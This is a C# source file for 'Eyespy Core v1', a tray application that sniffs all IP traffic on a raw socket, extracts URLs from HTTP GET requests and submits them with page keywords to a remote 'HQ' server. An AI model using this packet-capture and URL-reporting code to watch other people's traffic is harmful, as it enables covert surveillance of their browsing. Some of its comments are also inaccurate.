using System;

using System.Collections.Generic;

using System.Linq;

using System.Windows.Forms;

using System.Drawing;

using System.Net;

using System.Net.Sockets;

using System.Threading;

using System.Text;

namespace Eyespy\_Core\_v1

{

/// <summary>

/// Systray class - extends Form class (C# API for GUI building)

/// This is required as System tray programs fall under the Windows Form Application application-type.

/// The Systray class is the main program class for Eyespy Core, it will initialize the components of the GUI,

/// such as the System tray icon.

/// It also catches the incoming stream of HTTP traffic.

/// </summary>

/// <remarks></remarks>

public class Systray : Form

{

/// <summary>

/// Socket declaration for usage within the program loop - sock will catch all inbound HTTP traffic.

/// </summary>

/// <remarks></remarks>

private static Socket sock;

/// <summary>

/// The NotifyIcon class is responsible for creating the System tray icon, arguments passed to this instance are systray icon related.

/// </summary>

/// <remarks></remarks>

private static NotifyIcon trayIcon;

/// <summary>

/// trayMenu yields the tray icon context menu, via this object can be added attributes to the context menu (when you right click on the icon)

/// </summary>

/// <remarks></remarks>

private static ContextMenu trayMenu;

/// <summary>

/// system tray icon menu

/// </summary>

private static int urlcount;

/// <summary>

/// Number of repeated URL's within the current stack frame.

/// </summary>

/// <remarks></remarks>

private static int repeatURLCount; // how many repeated URL's have been blocked

/// <summary>

/// Number of blocked URL's - this variable can be incremented for various reasons,

/// such as URL size is too big, or the inbound data did not present a GET parameter within its header.

/// </summary>

/// <remarks></remarks>

private static int blockedURLCount; // how many URL's have been blocked (too long or invalid format)

/// <summary>

/// This byte array serves as a buffer for incoming data.

/// The byte array will later be encoded into a string to extract URL/meta info.

/// </summary>

/// <remarks></remarks>

static byte[] bResponceBytes = new byte[4096]; // variable serving as buffer for incoming bytes of data

/// <summary>

/// Eyespy-defined class - this data structure instance will serve as a stack-frame.

/// The size of the stack frame is defined within the constructor, and is passed as a constructor parameter.

/// Repeated URL's will be found thanks to this class.

/// </summary>

/// <remarks></remarks>

static Stack stack = new Stack(15); // instance of the Stack class (see Stack class definition) parameter (15) is size of stack

/// <summary>

/// Eyespy-defined class - HTTPReader object created to read data from the inbound HTML data.

/// The data that it will extract is: URL and meta-info.

/// </summary>

/// <remarks></remarks>

static HTTPReader reader = new HTTPReader(); // instance of the HTTPWriter class (see class definition)

/// <summary>

/// Eyespy-defined class - HTTPWriter is used to write data to the Eyespy HQ.

/// </summary>

/// <remarks></remarks>

static HTTPWriter writer = new HTTPWriter(); // instance of the HTTPReader class (see class definition)

/// <summary>

/// The main entry point for the application.

/// </summary>

[STAThread]

static void Main()

{

Application.Run(new Systray()); // run

}

/// <summary>

/// OnClientReceive is asynchronously called by the program loop to handle data.

/// Within this function various validations are made to ensure the link is authentic before submitting it to

/// Eyespy HQ via the writer instance.

/// </summary>

/// <param name="ar">the asynchronous state of the socket and its data.</param>

static void OnClientRecieve(IAsyncResult ar)

{

// so as to not overwrite our acceptor socket, we create a new socket based on the (asynchronus)

// information pulled from the IASyncResult variable.

Socket s = (Socket)ar.AsyncState;

// if the EndRecieve() is succsesful, it will return the amount of bytes written to the recieve buffer.

int count = s.EndReceive(ar); // how many bytes

if (count >= 40) // we'll only assume it's a valid HTTP header if the byte count is greater than 40. as the domain name is located around byte 40

{

try

{

// the data we recieve is recieved as an array of bytes, so will need converting and writing

// to a new variable as a string

string data = Encoding.UTF8.GetString(bResponceBytes, 40, count - 40);

if (data.StartsWith("GET")) // making sure the HTML we've received IS valid as the header should be a GET

{

string URL = reader.getURL(data); // use the object created above to get the URL via the function

if ((URL != "") && (URL.Length <= 64)) // logic AND to make sure both conditions evaluate to true (and hence verify URL validity)

{

if (stack.isMemorized(URL) == false) // using the stack data structure to only submit this URL if it doesn't exist within the current stack frame.

{

string URLParam = "http://" + URL; // the protocol should be pasted to the prefix of the URL so HTMLAgilityPack can retrieve the keywords

URLParam = URLParam.Remove(URLParam.Length - 2); // C# adds two escape characters at the end of each link: \n\t - these need to be removed as they invalidate the URL.

string keywords = reader.getMetadata(URLParam); // retrieve metadata

writer.submitToHQ(URL, keywords); // submit the URL to the submit.php file

stack.push(URL); // push the link to the top of the stack

urlcount++; // increase the number of URL's processed by one.

}

else

repeatURLCount++; // describe the stack frame

}

else

{

//MessageBox.Show("No URL input.");

}

}

else blockedURLCount++;

}

catch (Exception e)

{

}

}

s.BeginReceive(bResponceBytes, 0, bResponceBytes.Length, SocketFlags.None, new AsyncCallback(OnClientRecieve), s); // continue socket reception asynchonously

}

/// <summary>

/// Constructor for the class - will create the system tray icon.

/// </summary>

public Systray()

{

trayMenu = new ContextMenu();

trayMenu.MenuItems.Add("About", About);

trayIcon = new NotifyIcon();

trayIcon.Text = "Eyespy Core v1";

trayIcon.Icon = new Icon(SystemIcons.Application, 40, 40);

trayIcon.ContextMenu = trayMenu;

trayIcon.Visible = true;

byte[] input = new byte[] { 1 };

byte[] buffer = new byte[4096];

try

{

// create and define the socket.

sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);

// create a new network endpoint to receive all data packets.

// an endpoint being the endpoint on the "line" which is our connections stream

sock.Bind(new IPEndPoint(IPAddress.Parse("192.168.0.7"), 80));

sock.IOControl(IOControlCode.ReceiveAll, input, null);

// define what we're going to do when we've received data (in this case, pass on to the OnClientRecieve method)

// which we will do asynchronously, so we create a new thread for the new "connection".

// allowing us to handle multiple connections at once

sock.BeginReceive(bResponceBytes, 0, bResponceBytes.Length, SocketFlags.None, new AsyncCallback(OnClientRecieve), sock);

ManualResetEvent reset = new ManualResetEvent(false);

reset.WaitOne();

}

catch (Exception e)

{

MessageBox.Show(e.Message, "Diagnostics");

Application.Exit();

}

}

/// <summary>

/// Launched procedure to load the icon

/// </summary>

/// <param name="e">Event data parameter, holds all the event-related data</param>

protected override void OnLoad(EventArgs e)

{

Visible = false;

ShowInTaskbar = false;

base.OnLoad(e);

}

/// <summary>

/// "About" menu item onload event to display detailed info

/// </summary>

/// <param name="sender"></param>

/// <param name="e">Event data parameter, holds all the event-related data</param>

protected void About(object sender, EventArgs e)

{

MessageBox.Show("URL count: " + urlcount + "\nStack frame count: " + stack.stackFrameCount

+ "\nRepeat URL count: " + repeatURLCount, "Eyespy Core");

}

/// <summary>

/// distroy the icon (on exit)

/// </summary>

/// <param name="disp">true by default</param>

protected override void Dispose(bool disp)

{

if (disp)

trayIcon.Dispose();

base.Dispose(disp);

}

/// <summary>

/// This function in override of the Form GUI class that Systray extends.

/// Into this function are parsed parameters such as the size of the client and the name of the context icon.

/// </summary>

/// <remarks></remarks>

private void InitializeComponent()

{

this.SuspendLayout();

this.ClientSize = new System.Drawing.Size(274, 231);

this.Name = "Systray";

this.Load += new System.EventHandler(this.Systray\_Load);

this.ResumeLayout(false);

}

private void Systray\_Load(object sender, EventArgs e)

{

}

}

}